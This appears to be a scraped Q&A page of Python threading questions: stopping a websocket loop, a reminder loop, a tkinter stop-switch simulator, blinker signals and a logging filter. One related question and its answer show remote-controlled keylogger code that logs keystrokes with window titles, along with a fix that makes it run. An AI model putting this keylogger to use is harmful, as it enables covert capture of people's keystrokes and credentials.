I currently have a website, where when the user clicks a button, it sends a socket which then runs a web scraping program and returns the results to the user as it goes along.
For the sake of simplicity, lets say that upon receiving a socket, it gets routed to consumers.py which has the following code:
def ws_message(message):
while True:
print("5")
time.sleep(5)
However, I also want to add a "terminate" button to stop this function from running but am not sure how to go about doing so.
I've thought about doing the following:
cont = True
def ws_message(message):
text = message.content['text']
if text == 'terminate':
cont = False
if text == 'restart':
cont = True
while cont:
print("5")
time.sleep(5)
However at the same time this code doesn't seem particularly elegant, and so I was wondering if there is a simpler way to do so.
Related
I am trying to make a keylogger with python sockets[educational purposes only of course]. But my question is: when I send from server to client the command activate keylogger, it will start the keylogger. But when I am finished with keylogging how can I send a 'stop keylogging' command to the slave to stop the keylogging. I was thinking of threading but really dont know what I could do with it. this is the "failing" code I made:
def mainkeylogg():
stopmess = "GO"
while stopmess == "GO":
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
stopmess = (conn.recv(1024)).decode() # CAUSES THE WHILE LOOP TO CLOSE?? DOESN'T WORK
if stopmess == "STOP":
print("STOPPED")
message = "DONE"
conn.send(message.encode())
EDIT(working correct code for future people seeing this):
def mainkeylogg():
global dead
dead = False
while not dead:
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
message = "STARTED KEYLOGGER"
conn.send(message.encode())
def stopkeylogger():
stopmess = (conn.recv(1024)).decode()
global dead
if stopmess == "STOP":
print("STOPPED")
dead = True
message = "STOPPED KEYLOGGER"
conn.send(message.encode())
#SEND LOG FILE
# DELETE LOG FILE
else:
print("DIDNT STOP")
message = "ERROR, DID NOT STOP KEYLOGGER"
conn.send(message.encode())
The biggest problem you have is here:
t = threading.Thread(target-mainkeylogg())
Because you added the parens, that's going to call the function immediately, in the main thread. That function won't ever return, so you don't even get to create the Thread object, much less flow on to the socket stuff. Replace that with
t = threading.Thread(target=mainkeylogg)
Pass the function, NOT the result of the function.
Beyond that, as long as you spell stopmes the same way every time (which you haven't here), the basic concept is fine. Your main thread will block waiting for word from the socket. Assuming the server actually sends "GO" as two letters without a newline, it should work.
so, i was trying to make a personal assistant and i wanted to make a reminder type of commnd.
here is the code of the reminder(notification).
and the speak and takecommand fuctions are custom.
elif "remind" in query:
speak("what should i remind you")
messageT = takeCommand()
speak("ok, so when should i remind you.")
timeOfReminder = takeCommand()
while True:
current_time = tm.strftime("%H:%M:%S")
if current_time == timeOfReminder:
print(current_time)
break;
toaster = ToastNotifier()
toaster.show_toast(messageT,
duration=10)
so the problem is not with this code, but the code contains a while loop which prohibits me to proceed with my code(this whole code is also a part of a while loop which contains all the command).
i wanna know how to like run this loop in parellel of the other main while loop(this while loop checks the time while the main while loop checks what command the user is giving.)
is there any way to do this (if you want i can post my full code if it helps).
Use the threading library in Python 3.
import threading
Create a function:
def my_long_function():
while 1:
print("runs in background")
time.sleep(1)
long_thread = threading.Thread(target=my_long_function)
long_thread.start()
while 1:
print("Running in foreground")
time.sleep(3)
Hope this works for you!
First, I am an absolute beginner and sorry if I ask stupid questions.
I try to code a little program for school.
Imagine a motor with three emergency switches. A "Overheating", a "Circuit breaker" and a "manual"-switch witch all stop the motor.
In the program, the switches are simulated by tkinter-buttons in a little GUI.
If you press the button, it should output whatever case is simulated.
If the motor "stopped" but a button (or a new button) is pressed again, a message "Machine already stopped" should appear.
But that last part of the program does not work.
I've learned that vars in Python are local by default and so I tried to define the var "triggered" as global. But I've probably made some mistakes.
If I run the program, the first message (for example "Overheating!") appears but the second message "Machine already stopped" is missing when the button is pressed again.
Can you tell me where my fault is? I tried to google it but I don't know what is wrong. Sometimes it is difficult to read threads or tutorials because I am not native english-speaking.
And please tell me if there's any pseudocode in there.
As I said I am an absolute beginner but I try hard to learn it.
from tkinter import *
import sys, os
root = Tk()
root.title("Control Panel")
root.geometry("400x200")
app = Frame(root)
app.grid()
# Vars can be used later
overheat = False
# Stops motor if temperature is too high
circuitbreaker = False
# Stops if current flow is too high
manual = False
# Stops when switch is triggered manually
global triggered
triggered = False
# Returns True if one emergency unit has triggered
def Button_Overheat():
global triggered
if triggered == False:
triggered = True
print("Overheating!")
blockPrint()
else:
enablePrint()
print("Machine already stopped")
blockPrint
return
button_overheat = Button(app, text = "Overheat", command = Button_Overheat)
button_overheat.grid()
def Button_CircuitBreaker():
global triggered
if triggered == False:
print("Overload! Breaking Circuit...")
blockPrint()
else:
print("Machine already stopped")
blockPrint()
return
button_cicuitbreaker = Button(app, text = "Circuitbreaker", command = Button_CircuitBreaker)
button_cicuitbreaker.grid()
def Button_Manual():
global triggered
if triggered == False:
print("Machine was manually stopped")
blockPrint()
triggered = True
else:
print("Machine already stopped")
blockPrint()
return
button_manual = Button(app, text = "Turn off manually", command = Button_Manual)
button_manual.grid()
def blockPrint():
sys.stdout = open(os.devnull, 'w')
def enablePrint():
sys.stdout = sys.__stdout__
mainloop()
Please notice that other than in Overheating you never re enabled printing to allow it to print "Machine already stopped".
Just add enablePrint() to the other two options else clauses as well:
def Button_CircuitBreaker():
global triggered
if triggered == False:
print("Overload! Breaking Circuit...")
blockPrint()
else:
enablePrint()
print("Machine already stopped")
blockPrint()
return
def Button_Manual():
global triggered
if triggered == False:
print("Machine was manually stopped")
blockPrint()
triggered = True
else:
enablePrint()
print("Machine already stopped")
blockPrint()
return
I have a raspberry pi which I have hooked up with a 4 button keypad. Using the signal stuff from blinker I hooked it up to run some methods.
#sender
while True:
if buttonIsDown == True: signal.send()
#reciever
#signal.connect
def sayHI():
print("1")
time.sleep(10)
print("2")
This works fine, however when I push the button for the second time (Within 10 seconds of the previous button press) it does not fire the method as the thread is paused in the time.sleep(10).
How can I get it to fire the method again while the it is still paused(possibly in another thread)
It is an old question, but still it may be useful for someone else.
You can start a new thread every time the signal is emitted, in that way you will be able to catch all the events as soon as they happen. Remember that in your code, since you have a while True, the signal is never connected to the function, you should have defined them in the opposite order.
Here is a working example, based on your code:
import threading
from blinker import signal
from time import sleep
custom_signal = signal(name='custom')
#custom_signal.connect
def slot(sender):
def say_hello():
print("1")
sleep(10)
print("2")
threading.Thread(target=say_hello).start()
while True:
value = int(input('Press 1 to continue: '))
if value == 1:
custom_signal.send()
else:
break
I have a logging filter that checks for an environment variable to change and I want it to run (in the background) in a thread separate from the process that is setting the environment variable.
What I'm trying to do: every time logging.ERROR is called in my code, the user is alerted to the error and prompted on whether or not they want to continue. Separately the filter and the prompt work correctly however, when I put them together I have a problem. I need to have the filter running in the background so the code to prompt the user can run simultaneously (right now, the filter executes first and the prompt shows up after the while loop in the filter times out, at which point it is useless).
My filter code:
class ErrorFilter(logging.Filter):
def __init__(self,level):
self.level = level
thread = threading.Thread(target=self.filter,args=())
thread.daemon = True
thread.start()
def filter(self,record):
if record.levelno == self.level:
os.environ["ERROR_FLAG"] = "True"
timeout = time.time() + 60*1 #set the timeout to 1 minute
while True:
print "waiting..."
keep_going = os.environ.get("CONTINUE_FLAG")
#wait for user to respond
if keep_going == "False" or time.time() > timeout:
print "oops there's a problem, quitting."
break
if keep_going == "True":
print "Continuing"
break
os.environ["CONTINUE_FLAG"] = "None"
I have another short method that "listens" for ERROR_FLAG and then asks for input using:
def continueAsk(message, title="Warning! Continue?", yn=("Yes","No")):
yes = set(['yes','y', 'ye', '', 'canhaz'])
no = set(['no','n', 'lolzno'])
tryLimit = 0
while tryLimit < 100:
sys.stdout.write(message + ": ")
choice = raw_input().lower()
if choice in yes:
return True
elif choice in no:
return False
else:
tryLimit+=1
sys.stdout.write("Please respond with 'yes' or 'no'.")
EDIT
I've also tried using multiprocessing in my filter like this:
from multiprocessing import Process, Queue
def __init__(self,level):
self.level = level
queue = Queue()
p = Process(target=self.filter,args=("hi"))
p.start()
p.join()
I've tried setting up my filter so it runs in a different thread, but I've not had any luck so far (the filter still runs first, followed by the prompt) and I've never used multithreading before. I know this is not a traditional use of the logger, but I appreciate any input on this.
Looking at the subprocess and multiprocess documentation, I think one of those might work as well but am not sure.